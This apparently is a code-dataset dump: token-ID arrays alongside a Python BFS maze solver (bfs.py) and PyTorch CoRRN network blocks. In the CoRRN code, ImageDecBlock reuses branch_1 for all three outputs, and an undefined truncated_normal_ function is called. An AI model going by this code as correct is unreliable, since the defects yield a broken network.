29918,
264,
820,
29918,
18010,
29918,
517,
29918,
9573,
29918,
3874,
346,
29918,
19145,
29918,
10685,
287,
29898,
29885,
8658,
1125,
13,
1678,
286,
8658,
29889,
5041,
877,
29886,
1794,
29889,
29886,
7100,
29889,
18010,
29889,
311,
25171,
1891,
29889,
2055,
9309,
29918,
29883,
5380,
403,
29889,
2230,
29889,
17059,
1495,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
657,
29918,
4537,
29918,
974,
29918,
9573,
287,
29918,
18010,
353,
26494,
18680,
29898,
2457,
29918,
1767,
29922,
16173,
29918,
2303,
9486,
23598,
29918,
13967,
29897,
13,
13,
1678,
2943,
29889,
10685,
29918,
1454,
29918,
264,
820,
29918,
18010,
29918,
517,
29918,
9573,
580,
13,
13,
1678,
4974,
282,
1794,
29889,
29886,
7100,
29889,
18010,
29889,
311,
25171,
1891,
29889,
2055,
9309,
29918,
29883,
5380,
403,
29889,
2230,
29889,
17059,
29889,
4804,
29918,
2798,
1275,
399,
29909,
1806,
29918,
15307,
29918,
5098,
4945,
29918,
16173,
2260,
29931,
29918,
23207,
29918,
9800,
29918,
6632,
2287,
29903,
29918,
29950,
3289,
29918,
18166,
9047,
1001,
3352,
13,
13,
13,
1753,
1243,
29918,
262,
689,
29918,
4645,
29918,
974,
29918,
7662,
29918,
333,
29898,
4645,
29918,
7662,
29918,
16553,
29918,
1272,
1125,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
7662,
29918,
1272,
353,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
13,
13,
1678,
2943,
29889,
13082,
353,
26494,
18680,
580,
13,
13,
1678,
2943,
29889,
262,
689,
29918,
4645,
29918,
974,
29918,
7662,
29918,
333,
580,
13,
13,
1678,
2943,
29889,
13082,
29889,
29880,
5910,
29889,
9294,
29918,
13998,
580,
13,
13,
13,
1753,
1243,
29918,
262,
689,
29918,
4645,
29918,
974,
29918,
7662,
29918,
14146,
630,
29898,
4645,
29918,
7662,
29918,
16553,
29918,
1272,
29892,
29825,
2585,
1125,
13,
1678,
3132,
29918,
7328,
353,
525,
1688,
29918,
4645,
29915,
13,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
13082,
353,
29825,
2585,
13,
13,
1678,
2943,
29889,
7662,
29918,
333,
353,
525,
29896,
29906,
29941,
29915,
13,
13,
1678,
2943,
29889,
7662,
29918,
1272,
353,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
13,
1678,
2943,
29889,
7662,
29918,
1272,
1839,
4645,
29918,
20631,
29918,
7328,
2033,
353,
3132,
29918,
7328,
13,
1678,
2943,
3032,
4645,
29918,
5327,
29918,
1761,
8333,
29918,
12719,
353,
525,
1688,
29918,
19594,
29915,
13,
13,
1678,
2943,
29889,
262,
689,
29918,
4645,
29918,
974,
29918,
7662,
29918,
333,
580,
13,
13,
1678,
3132,
353,
12477,
580,
13,
1678,
3132,
3032,
4645,
29918,
333,
353,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
1839,
4645,
29918,
333,
2033,
13,
1678,
3132,
29889,
13082,
353,
29825,
2585,
13,
1678,
3132,
3032,
4645,
29918,
20631,
29918,
7328,
353,
3132,
29918,
7328,
13,
13,
1678,
3132,
29889,
711,
2408,
29918,
19594,
29918,
7662,
29918,
333,
580,
13,
1678,
4974,
3132,
3032,
7662,
29918,
333,
1275,
525,
29896,
29906,
29941,
29915,
13,
1678,
4974,
3132,
3032,
19594,
29918,
7328,
1275,
525,
1688,
29918,
19594,
29915,
13,
13,
13,
1753,
1243,
29918,
15914,
29918,
28192,
29918,
8568,
29918,
2371,
29918,
12857,
29898,
1127,
275,
2585,
1125,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
13082,
353,
29825,
2585,
13,
1678,
9867,
29918,
20631,
29918,
7328,
353,
525,
1688,
29918,
19594,
29915,
13,
1678,
2943,
3032,
4645,
29918,
5327,
29918,
1761,
8333,
29918,
12719,
353,
9867,
29918,
20631,
29918,
7328,
13,
13,
1678,
3132,
29918,
3827,
353,
426,
13,
4706,
525,
4645,
29918,
333,
2396,
525,
29896,
29906,
29941,
742,
13,
4706,
525,
8568,
267,
2396,
3464,
29898,
23207,
29918,
9800,
29918,
25832,
8127,
29911,
29918,
1660,
29954,
13780,
29903,
29897,
13,
1678,
500,
13,
13,
1678,
29825,
2585,
29889,
29880,
5910,
29898,
19594,
29918,
20631,
29918,
7328,
29892,
343,
8807,
29889,
15070,
29898,
4645,
29918,
3827,
876,
13,
13,
1678,
2943,
29889,
15914,
29918,
28192,
29918,
8568,
29918,
2371,
580,
13,
1678,
4974,
7431,
29898,
3177,
29889,
28192,
29918,
8568,
29918,
2371,
29897,
1275,
28019,
13635,
29918,
9800,
29918,
25832,
8127,
29911,
29918,
1660,
29954,
13780,
29903,
13,
13,
13,
1753,
1243,
29918,
262,
689,
29918,
4645,
29918,
974,
29918,
8568,
29918,
29894,
11427,
29918,
9902,
29898,
4645,
29918,
7662,
29918,
16553,
29918,
1272,
1125,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
7662,
29918,
1272,
353,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
13,
13,
1678,
2943,
29889,
13082,
353,
26494,
18680,
580,
13,
13,
1678,
2943,
29889,
262,
689,
29918,
4645,
29918,
974,
29918,
8568,
29918,
284,
5479,
580,
13,
13,
1678,
2943,
29889,
13082,
29889,
29880,
5910,
29889,
9294,
29918,
13998,
580,
13,
13,
13,
1753,
1243,
29918,
15480,
29918,
28192,
29918,
1761,
29918,
12857,
7295,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
13,
1678,
10768,
29918,
1761,
353,
518,
10998,
8568,
2396,
474,
29892,
525,
21454,
2396,
15516,
525,
1989,
2396,
6629,
29913,
363,
474,
297,
3464,
29898,
29945,
4638,
13,
1678,
2943,
29889,
28192,
29918,
8568,
29918,
2371,
353,
3464,
29898,
29945,
29897,
13,
13,
1678,
2943,
29889,
15480,
29918,
28192,
29918,
1761,
29898,
28192,
29918,
1761,
29897,
13,
13,
13,
1753,
1243,
29918,
15480,
29918,
28192,
29918,
1761,
29918,
24244,
29918,
2098,
7295,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
13,
1678,
10768,
29918,
1761,
353,
518,
10998,
8568,
2396,
474,
29892,
525,
21454,
2396,
15516,
525,
1989,
2396,
6629,
29913,
363,
474,
297,
3464,
29898,
29945,
4638,
13,
1678,
2943,
29889,
28192,
29918,
8568,
29918,
2371,
353,
3464,
29898,
29945,
9601,
1057,
29899,
29896,
29962,
13,
13,
1678,
411,
11451,
1688,
29889,
336,
4637,
29898,
1917,
2392,
1125,
13,
4706,
2943,
29889,
15480,
29918,
28192,
29918,
1761,
29898,
28192,
29918,
1761,
29897,
13,
13,
13,
1753,
1243,
29918,
19125,
29918,
10199,
1860,
29918,
1454,
29918,
27691,
7295,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
13,
1678,
24611,
353,
1051,
29898,
3881,
29898,
29945,
876,
13,
1678,
4629,
29918,
1287,
414,
353,
1051,
29898,
3881,
29898,
29946,
876,
13,
13,
1678,
2943,
3032,
19125,
29918,
10199,
1860,
29918,
1454,
29918,
27691,
29898,
10199,
1860,
29892,
4629,
29918,
1287,
414,
29897,
13,
1678,
4974,
7431,
29898,
10199,
1860,
29897,
1275,
29871,
29947,
13,
1678,
4974,
24611,
1275,
518,
29900,
29892,
29871,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29946,
29892,
29871,
29946,
29892,
29871,
29946,
29962,
13,
13,
13,
1753,
1243,
29918,
20472,
29918,
1727,
8306,
29918,
1454,
29918,
4645,
29918,
7662,
7295,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
13082,
353,
26494,
18680,
580,
13,
13,
1678,
2943,
29889,
20472,
29918,
1727,
8306,
29918,
1454,
29918,
4645,
29918,
7662,
580,
13,
1678,
2943,
29889,
13082,
29889,
29880,
1745,
29889,
9294,
29918,
13998,
580,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
11014,
877,
29928,
15622,
7882,
515,
1855,
29825,
3489,
1495,
13,
1753,
1243,
29918,
20472,
29918,
1727,
8306,
29918,
1454,
29918,
4645,
29918,
7662,
29918,
6194,
29918,
650,
29918,
7662,
29918,
262,
29918,
9990,
29898,
1127,
275,
2585,
29892,
3132,
29918,
7662,
29918,
16553,
29918,
2084,
29892,
13,
462,
462,
462,
462,
268,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
1125,
13,
1678,
411,
1722,
29898,
4645,
29918,
7662,
29918,
16553,
29918,
2084,
29897,
408,
2009,
29918,
1445,
29901,
13,
4706,
2009,
29918,
1272,
353,
2009,
29918,
1445,
29889,
949,
580,
13,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
13082,
353,
29825,
2585,
13,
1678,
2943,
29889,
7662,
29918,
1272,
353,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
13,
1678,
2943,
29889,
842,
29918,
7662,
29918,
333,
29898,
3827,
29918,
1272,
29897,
13,
13,
1678,
29825,
2585,
29889,
29880,
5910,
29898,
27205,
3919,
29918,
29911,
3289,
29968,
29918,
3210,
2190,
29940,
6670,
29892,
2009,
29918,
1272,
29897,
13,
1678,
2943,
29889,
20472,
29918,
1727,
8306,
29918,
1454,
29918,
4645,
29918,
7662,
580,
13,
13,
1678,
4974,
29825,
2585,
29889,
645,
264,
29898,
27205,
3919,
29918,
29911,
3289,
29968,
29918,
3210,
2190,
29940,
6670,
29897,
1275,
29871,
29900,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
11014,
877,
29928,
15622,
7882,
515,
1855,
29825,
3489,
1495,
13,
1753,
1243,
29918,
20472,
29918,
1727,
8306,
29918,
1454,
29918,
4645,
29918,
7662,
29918,
20787,
29918,
20673,
29918,
262,
29918,
9990,
29898,
1127,
275,
2585,
29892,
3132,
29918,
7662,
29918,
16553,
29918,
2084,
29892,
13,
462,
462,
462,
462,
418,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
1125,
13,
1678,
411,
1722,
29898,
4645,
29918,
7662,
29918,
16553,
29918,
2084,
29897,
408,
2009,
29918,
1445,
29901,
13,
4706,
2009,
29918,
1272,
353,
2009,
29918,
1445,
29889,
949,
580,
13,
13,
1678,
2943,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29889,
13082,
353,
29825,
2585,
13,
13,
1678,
2943,
29889,
7662,
29918,
1272,
353,
3132,
29918,
7662,
29918,
16553,
29918,
1272,
13,
1678,
2943,
29889,
842,
29918,
7662,
29918,
333,
29898,
3827,
29918,
1272,
29897,
13,
13,
1678,
29825,
2585,
29889,
29880,
5910,
29898,
27205,
3919,
29918,
29911,
3289,
29968,
29918,
3210,
2190,
29940,
6670,
29892,
2009,
29918,
1272,
29897,
13,
1678,
29825,
2585,
29889,
29880,
5910,
29898,
27205,
3919,
29918,
29911,
3289,
29968,
29918,
3210,
2190,
29940,
6670,
29892,
2009,
29918,
1272,
29897,
13,
1678,
2943,
29889,
20472,
29918,
1727,
8306,
29918,
1454,
29918,
4645,
29918,
7662,
580,
13,
13,
1678,
4974,
29825,
2585,
29889,
645,
264,
29898,
27205,
3919,
29918,
29911,
3289,
29968,
29918,
3210,
2190,
29940,
6670,
29897,
1275,
29871,
29896,
13,
13,
13,
1753,
1243,
29918,
2055,
9309,
29918,
20078,
29918,
2218,
324,
1490,
29918,
11083,
29918,
5729,
1259,
29918,
26495,
29898,
1127,
275,
2585,
1125,
13,
1678,
22583,
29918,
12719,
353,
525,
1688,
29918,
1727,
8306,
29915,
13,
13,
1678,
2943,
29918,
29896,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29918,
29896,
29889,
13082,
353,
29825,
2585,
13,
13,
1678,
2943,
29918,
29896,
3032,
7662,
29918,
1727,
8306,
29918,
12719,
353,
22583,
29918,
12719,
13,
1678,
2943,
29918,
29896,
29889,
9573,
29918,
1454,
29918,
7662,
580,
13,
13,
1678,
2943,
29918,
29906,
353,
12930,
29907,
5380,
403,
580,
13,
1678,
2943,
29918,
29906,
29889,
13082,
353,
29825,
2585,
13,
13,
1678,
2943,
29918,
29906,
3032,
7662,
29918,
1727,
8306,
29918,
12719,
353,
22583,
29918,
12719,
13,
1678,
2943,
29918,
29906,
29889,
9573,
29918,
1454,
29918,
7662,
580,
13,
13,
1678,
4974,
2943,
29918,
29896,
29889,
657,
29918,
4537,
29918,
974,
29918,
9573,
287,
29918,
18010,
580,
1275,
29871,
29906,
13,
1678,
4974,
2943,
29918,
29906,
29889,
657,
29918,
4537,
29918,
974,
29918,
9573,
287,
29918,
18010,
580,
1275,
29871,
29906,
13,
13,
1678,
931,
29889,
17059,
29898,
29906,
29900,
29897,
13,
13,
1678,
4974,
7431,
29898,
3177,
29918,
29896,
29889,
657,
29918,
9573,
287,
29918,
18010,
3101,
1275,
29871,
29900,
13,
2
] |
bfs.py | ayush9304/Treasure-Hunter | 0 | 1607959 | import mazeGenerator
class Queue:
def __init__(self):
self.list = []
self.front = 0
self.last = -1
def add(self, node):
self.list.append(node)
self.last = self.last + 1
def remove(self):
if self.front > self.last:
raise Exception("Underflow!")
else:
self.front = self.front + 1
return self.list[self.front-1]
def isEmpty(self):
if self.front > self.last:
return True
else:
return False
class Coordinate:
def __init__(self, x, y):
self.x = x
self.y = y
class Node:
def __init__(self, coordinates, previous):
self.state = coordinates
self.previous = previous
class Maze:
matrix = []
visited = []
row = 0
column = 0
start = Coordinate(-1, -1)
goal = Coordinate(-1, -1)
def __init__(self, matrix, row, column):
self.matrix = matrix
self.visited = [['0'] * column for _ in range(row)]
self.row = row
self.column = column
def load(self):
for i in range(self.row):
for j in range(self.column):
if self.matrix[i][j] == 'S':
self.start.x = j
self.start.y = i
if self.matrix[i][j] == 'D':
self.goal.x = j
self.goal.y = i
if self.matrix[i][j] == '1':
self.visited[i][j] = '2'
else:
self.visited[i][j] = '0'
def checkNeighbour(self, state, dir):
var = Coordinate(-1, -1)
if dir == 0:
if state.x-1 >= 0:
if self.visited[state.y][state.x-1] == '0':
var.x = state.x-1
var.y = state.y
if dir == 1:
if state.x+1 < self.column:
if self.visited[state.y][state.x+1] == '0':
var.x = state.x+1
var.y = state.y
if dir == 2:
if state.y-1 >= 0:
if self.visited[state.y-1][state.x] == '0':
var.x = state.x
var.y = state.y-1
if dir == 3:
if state.y+1 < self.row:
if self.visited[state.y+1][state.x] == '0':
var.x = state.x
var.y = state.y+1
return var
def bfs(matrix, row, column):
queue = Queue()
path = []
maze = Maze(matrix, row, column)
maze.load()
start = Node(maze.start, None)
goal = Node(Coordinate(-1, -1), None)
queue.add(start)
maze.visited[maze.start.y][maze.start.x] = '1'
while not queue.isEmpty():
current = queue.remove()
for i in range(4):
neighbour = maze.checkNeighbour(current.state, i)
if not (neighbour.x == -1) and not (neighbour.y == -1):
temp = Node(neighbour, queue.front-1)
queue.add(temp)
maze.visited[neighbour.y][neighbour.x] = '1'
if maze.goal.x == neighbour.x and maze.goal.y == neighbour.y:
goal = temp
break
if goal.state.x == -1 or goal.state.y == -1:
return None, None
else:
current = goal
while current.previous is not None:
path.append((current.state.x, current.state.y))
maze.matrix[current.state.y][current.state.x] = 'P'
current = queue.list[current.previous]
path.append((int(maze.start.x), int(maze.start.y)))
maze.matrix[maze.start.y][maze.start.x] = 'S'
maze.matrix[maze.goal.y][maze.goal.x] = 'D'
path = list(reversed(path))
del path[-1]
return maze.matrix, path
if __name__ == "__main__":
row = 15
column = 25
maze = mazeGenerator.Maze(column, row)
matrix = maze.matrix()
solutionMatrix, path = bfs(matrix, row, column)
if solutionMatrix is None:
print("No Solution Found!")
else:
for w in solutionMatrix:
for x in w:
print(x, end=" ")
print("")
print("\n")
path = list(path)
for elem in path:
print(elem)
| [
1,
1053,
611,
911,
21575,
13,
13,
1990,
5462,
434,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
29889,
1761,
353,
5159,
13,
4706,
1583,
29889,
8862,
353,
29871,
29900,
13,
4706,
1583,
29889,
4230,
353,
448,
29896,
13,
13,
1678,
822,
788,
29898,
1311,
29892,
2943,
1125,
13,
4706,
1583,
29889,
1761,
29889,
4397,
29898,
3177,
29897,
13,
4706,
1583,
29889,
4230,
353,
1583,
29889,
4230,
718,
29871,
29896,
13,
13,
1678,
822,
3349,
29898,
1311,
1125,
13,
4706,
565,
1583,
29889,
8862,
1405,
1583,
29889,
4230,
29901,
13,
9651,
12020,
8960,
703,
29177,
1731,
29991,
1159,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
8862,
353,
1583,
29889,
8862,
718,
29871,
29896,
13,
9651,
736,
1583,
29889,
1761,
29961,
1311,
29889,
8862,
29899,
29896,
29962,
13,
13,
1678,
822,
338,
8915,
29898,
1311,
1125,
13,
4706,
565,
1583,
29889,
8862,
1405,
1583,
29889,
4230,
29901,
13,
9651,
736,
5852,
13,
4706,
1683,
29901,
13,
9651,
736,
7700,
13,
13,
13,
1990,
3189,
16065,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
921,
29892,
343,
1125,
13,
4706,
1583,
29889,
29916,
353,
921,
13,
4706,
1583,
29889,
29891,
353,
343,
13,
13,
1990,
9071,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
10350,
29892,
3517,
1125,
13,
4706,
1583,
29889,
3859,
353,
10350,
13,
4706,
1583,
29889,
24957,
353,
3517,
13,
13,
1990,
17326,
29872,
29901,
13,
1678,
4636,
353,
5159,
13,
1678,
16669,
353,
5159,
13,
1678,
1948,
353,
29871,
29900,
13,
1678,
1897,
353,
29871,
29900,
13,
1678,
1369,
353,
3189,
16065,
6278,
29896,
29892,
448,
29896,
29897,
13,
1678,
7306,
353,
3189,
16065,
6278,
29896,
29892,
448,
29896,
29897,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4636,
29892,
1948,
29892,
1897,
1125,
13,
4706,
1583,
29889,
5344,
353,
4636,
13,
4706,
1583,
29889,
1730,
1573,
353,
518,
1839,
29900,
2033,
334,
1897,
363,
903,
297,
3464,
29898,
798,
4638,
13,
4706,
1583,
29889,
798,
353,
1948,
13,
4706,
1583,
29889,
4914,
353,
1897,
13,
13,
1678,
822,
2254,
29898,
1311,
1125,
13,
4706,
363,
474,
297,
3464,
29898,
1311,
29889,
798,
1125,
13,
9651,
363,
432,
297,
3464,
29898,
1311,
29889,
4914,
1125,
13,
18884,
565,
1583,
29889,
5344,
29961,
29875,
3816,
29926,
29962,
1275,
525,
29903,
2396,
13,
462,
1678,
1583,
29889,
2962,
29889,
29916,
353,
432,
13,
462,
1678,
1583,
29889,
2962,
29889,
29891,
353,
474,
13,
18884,
565,
1583,
29889,
5344,
29961,
29875,
3816,
29926,
29962,
1275,
525,
29928,
2396,
13,
462,
1678,
1583,
29889,
28111,
29889,
29916,
353,
432,
13,
462,
1678,
1583,
29889,
28111,
29889,
29891,
353,
474,
13,
18884,
565,
1583,
29889,
5344,
29961,
29875,
3816,
29926,
29962,
1275,
525,
29896,
2396,
13,
462,
1678,
1583,
29889,
1730,
1573,
29961,
29875,
3816,
29926,
29962,
353,
525,
29906,
29915,
13,
18884,
1683,
29901,
13,
462,
1678,
1583,
29889,
1730,
1573,
29961,
29875,
3816,
29926,
29962,
353,
525,
29900,
29915,
13,
13,
1678,
822,
1423,
8139,
1141,
6526,
29898,
1311,
29892,
2106,
29892,
4516,
1125,
13,
4706,
722,
353,
3189,
16065,
6278,
29896,
29892,
448,
29896,
29897,
13,
4706,
565,
4516,
1275,
29871,
29900,
29901,
13,
9651,
565,
2106,
29889,
29916,
29899,
29896,
6736,
29871,
29900,
29901,
13,
18884,
565,
1583,
29889,
1730,
1573,
29961,
3859,
29889,
29891,
3816,
3859,
29889,
29916,
29899,
29896,
29962,
1275,
525,
29900,
2396,
13,
462,
1678,
722,
29889,
29916,
353,
2106,
29889,
29916,
29899,
29896,
13,
462,
1678,
722,
29889,
29891,
353,
2106,
29889,
29891,
13,
13,
4706,
565,
4516,
1275,
29871,
29896,
29901,
13,
9651,
565,
2106,
29889,
29916,
29974,
29896,
529,
1583,
29889,
4914,
29901,
13,
18884,
565,
1583,
29889,
1730,
1573,
29961,
3859,
29889,
29891,
3816,
3859,
29889,
29916,
29974,
29896,
29962,
1275,
525,
29900,
2396,
13,
462,
1678,
722,
29889,
29916,
353,
2106,
29889,
29916,
29974,
29896,
13,
462,
1678,
722,
29889,
29891,
353,
2106,
29889,
29891,
13,
13,
4706,
565,
4516,
1275,
29871,
29906,
29901,
13,
9651,
565,
2106,
29889,
29891,
29899,
29896,
6736,
29871,
29900,
29901,
13,
18884,
565,
1583,
29889,
1730,
1573,
29961,
3859,
29889,
29891,
29899,
29896,
3816,
3859,
29889,
29916,
29962,
1275,
525,
29900,
2396,
13,
462,
1678,
722,
29889,
29916,
353,
2106,
29889,
29916,
13,
462,
1678,
722,
29889,
29891,
353,
2106,
29889,
29891,
29899,
29896,
13,
13,
4706,
565,
4516,
1275,
29871,
29941,
29901,
13,
9651,
565,
2106,
29889,
29891,
29974,
29896,
529,
1583,
29889,
798,
29901,
13,
18884,
565,
1583,
29889,
1730,
1573,
29961,
3859,
29889,
29891,
29974,
29896,
3816,
3859,
29889,
29916,
29962,
1275,
525,
29900,
2396,
13,
462,
1678,
722,
29889,
29916,
353,
2106,
29889,
29916,
13,
462,
1678,
722,
29889,
29891,
353,
2106,
29889,
29891,
29974,
29896,
13,
13,
4706,
736,
722,
13,
13,
13,
1753,
289,
5847,
29898,
5344,
29892,
1948,
29892,
1897,
1125,
13,
13,
1678,
9521,
353,
5462,
434,
580,
13,
1678,
2224,
353,
5159,
13,
1678,
611,
911,
353,
17326,
29872,
29898,
5344,
29892,
1948,
29892,
1897,
29897,
13,
1678,
611,
911,
29889,
1359,
580,
13,
1678,
1369,
353,
9071,
29898,
655,
911,
29889,
2962,
29892,
6213,
29897,
13,
1678,
7306,
353,
9071,
29898,
7967,
16065,
6278,
29896,
29892,
448,
29896,
511,
6213,
29897,
13,
1678,
9521,
29889,
1202,
29898,
2962,
29897,
13,
1678,
611,
911,
29889,
1730,
1573,
29961,
655,
911,
29889,
2962,
29889,
29891,
3816,
655,
911,
29889,
2962,
29889,
29916,
29962,
353,
525,
29896,
29915,
13,
13,
1678,
1550,
451,
9521,
29889,
24326,
7295,
13,
4706,
1857,
353,
9521,
29889,
5992,
580,
13,
4706,
363,
474,
297,
3464,
29898,
29946,
1125,
13,
9651,
17647,
353,
611,
911,
29889,
3198,
8139,
1141,
6526,
29898,
3784,
29889,
3859,
29892,
474,
29897,
13,
9651,
565,
451,
313,
484,
1141,
6526,
29889,
29916,
1275,
448,
29896,
29897,
322,
451,
313,
484,
1141,
6526,
29889,
29891,
1275,
448,
29896,
1125,
13,
18884,
5694,
353,
9071,
29898,
484,
1141,
6526,
29892,
9521,
29889,
8862,
29899,
29896,
29897,
13,
18884,
9521,
29889,
1202,
29898,
7382,
29897,
13,
18884,
611,
911,
29889,
1730,
1573,
29961,
484,
1141,
6526,
29889,
29891,
3816,
484,
1141,
6526,
29889,
29916,
29962,
353,
525,
29896,
29915,
13,
18884,
565,
611,
911,
29889,
28111,
29889,
29916,
1275,
17647,
29889,
29916,
322,
611,
911,
29889,
28111,
29889,
29891,
1275,
17647,
29889,
29891,
29901,
13,
462,
1678,
7306,
353,
5694,
13,
462,
1678,
2867,
13,
13,
1678,
565,
7306,
29889,
3859,
29889,
29916,
1275,
448,
29896,
470,
7306,
29889,
3859,
29889,
29891,
1275,
448,
29896,
29901,
13,
4706,
736,
6213,
29892,
6213,
13,
1678,
1683,
29901,
13,
4706,
1857,
353,
7306,
13,
4706,
1550,
1857,
29889,
24957,
338,
451,
6213,
29901,
13,
9651,
2224,
29889,
4397,
3552,
3784,
29889,
3859,
29889,
29916,
29892,
1857,
29889,
3859,
29889,
29891,
876,
13,
9651,
611,
911,
29889,
5344,
29961,
3784,
29889,
3859,
29889,
29891,
3816,
3784,
29889,
3859,
29889,
29916,
29962,
353,
525,
29925,
29915,
13,
9651,
1857,
353,
9521,
29889,
1761,
29961,
3784,
29889,
24957,
29962,
13,
4706,
2224,
29889,
4397,
3552,
524,
29898,
655,
911,
29889,
2962,
29889,
29916,
511,
938,
29898,
655,
911,
29889,
2962,
29889,
29891,
4961,
13,
4706,
611,
911,
29889,
5344,
29961,
655,
911,
29889,
2962,
29889,
29891,
3816,
655,
911,
29889,
2962,
29889,
29916,
29962,
353,
525,
29903,
29915,
13,
4706,
611,
911,
29889,
5344,
29961,
655,
911,
29889,
28111,
29889,
29891,
3816,
655,
911,
29889,
28111,
29889,
29916,
29962,
353,
525,
29928,
29915,
13,
13,
1678,
2224,
353,
1051,
29898,
276,
874,
287,
29898,
2084,
876,
13,
1678,
628,
2224,
14352,
29896,
29962,
13,
1678,
736,
611,
911,
29889,
5344,
29892,
2224,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1948,
353,
29871,
29896,
29945,
13,
1678,
1897,
353,
29871,
29906,
29945,
13,
1678,
611,
911,
353,
611,
911,
21575,
29889,
29924,
28334,
29898,
4914,
29892,
1948,
29897,
13,
13,
1678,
4636,
353,
611,
911,
29889,
5344,
580,
13,
1678,
1650,
14609,
29892,
2224,
353,
289,
5847,
29898,
5344,
29892,
1948,
29892,
1897,
29897,
13,
13,
1678,
565,
1650,
14609,
338,
6213,
29901,
13,
4706,
1596,
703,
3782,
24380,
7460,
29991,
1159,
13,
1678,
1683,
29901,
13,
4706,
363,
281,
297,
1650,
14609,
29901,
13,
9651,
363,
921,
297,
281,
29901,
13,
18884,
1596,
29898,
29916,
29892,
1095,
543,
16521,
13,
9651,
1596,
703,
1159,
13,
13,
4706,
1596,
14182,
29876,
1159,
13,
4706,
2224,
353,
1051,
29898,
2084,
29897,
13,
4706,
363,
21268,
297,
2224,
29901,
13,
9651,
1596,
29898,
20461,
29897,
13,
2
] |
CoRRN.py | ZhengPeng7/CoRRN-Pytorch | 2 | 166432 | import torch
import torch.nn as nn
from torchvision import models
class Conv2D_BN_activa(nn.Module):
def __init__(
self, in_channels, out_channels, kernel_size, stride, padding=0,
dilation=1, if_bn=True, activation='relu', bias=None, initializer=None, transpose=False
):
super(Conv2D_BN_activa, self).__init__()
if transpose:
self.conv2d = nn.ConvTranspose2d(
in_channels, out_channels, kernel_size, stride, padding,
dilation=dilation, bias=(not if_bn) if bias is None else bias
)
else:
self.conv2d = nn.Conv2d(
in_channels, out_channels, kernel_size, stride, padding,
dilation=dilation, bias=(not if_bn) if bias is None else bias
)
self.if_bn = if_bn
if self.if_bn:
self.bn = nn.BatchNorm2d(out_channels, eps=1e-3) # eps same as that in the official codes.
if activation == 'relu':
self.activation = nn.ReLU(inplace=True)
else:
self.activation = None
self.initializer = initializer
if self.initializer is not None:
if self.initializer == 'truncated_norm':
nn.init.normal_(self.conv2d.weight, std=0.02)
self.conv2d.weight = truncated_normal_(self.conv2d.weight, std=0.02)
def forward(self, x):
x = self.conv2d(x)
if self.activation:
if self.if_bn:
x = self.bn(x)
x = self.activation(x)
return x
class FeatureExtrationLayersA(nn.Module):
def __init__(self, in_channels, out_channels_branch=192):
super(FeatureExtrationLayersA, self).__init__()
self.path1 = nn.Sequential(
Conv2D_BN_activa(in_channels, 96, 1, 1, 0),
Conv2D_BN_activa(96, out_channels_branch, 7, 1, 3)
)
self.path2 = Conv2D_BN_activa(in_channels, out_channels_branch, 3, 1, 1)
self.path3 = nn.Sequential(
Conv2D_BN_activa(in_channels, 256, 1, 1, 0),
Conv2D_BN_activa(256, 256, 3, 1, 1),
Conv2D_BN_activa(256, out_channels_branch, 3, 1, 1)
)
def forward(self, x):
x1 = self.path1(x)
x2 = self.path2(x)
x3 = self.path3(x)
out = torch.cat((x1, x2, x3), 1)
return out
class FeatureExtrationLayersB(nn.Module):
def __init__(self, in_channels):
super(FeatureExtrationLayersB, self).__init__()
self.path1 = nn.Sequential(
Conv2D_BN_activa(in_channels, 128, 1, 1, 0),
Conv2D_BN_activa(128, 192, 7, 1, 3)
)
self.path2 = nn.Sequential(
Conv2D_BN_activa(in_channels, 128, 1, 1, 0),
Conv2D_BN_activa(128, 192, 3, 1, 1)
)
self.path3 = nn.Sequential(
Conv2D_BN_activa(in_channels, 128, 1, 1, 0),
Conv2D_BN_activa(128, 128, 3, 1, 1)
)
self.path4 = nn.Sequential(
Conv2D_BN_activa(in_channels, 128, 1, 1, 0),
Conv2D_BN_activa(128, 128, 3, 1, 1),
Conv2D_BN_activa(128, 128, 3, 1, 1)
)
def forward(self, x):
path1 = self.path1(x)
path2 = self.path2(x)
path3 = self.path3(x)
path4 = self.path4(x)
out = torch.cat((path1, path2, path3, path4), 1)
return out
class ImageDecBlock(nn.Module):
def __init__(self, in_channels, out_channels_branch=256):
super(ImageDecBlock, self).__init__()
self.branch_1 = Conv2D_BN_activa(in_channels, out_channels_branch, 4, 2, 1, transpose=True)
self.branch_2 = Conv2D_BN_activa(in_channels, out_channels_branch, 4, 2, 1, transpose=True)
self.branch_3 = Conv2D_BN_activa(in_channels, out_channels_branch, 4, 2, 1, transpose=True)
def forward(self, x):
x_1 = self.branch_1(x)
x_2 = self.branch_1(x)
x_3 = self.branch_1(x)
x_123 = torch.cat([x_1, x_2, x_3], dim=1)
return x_123
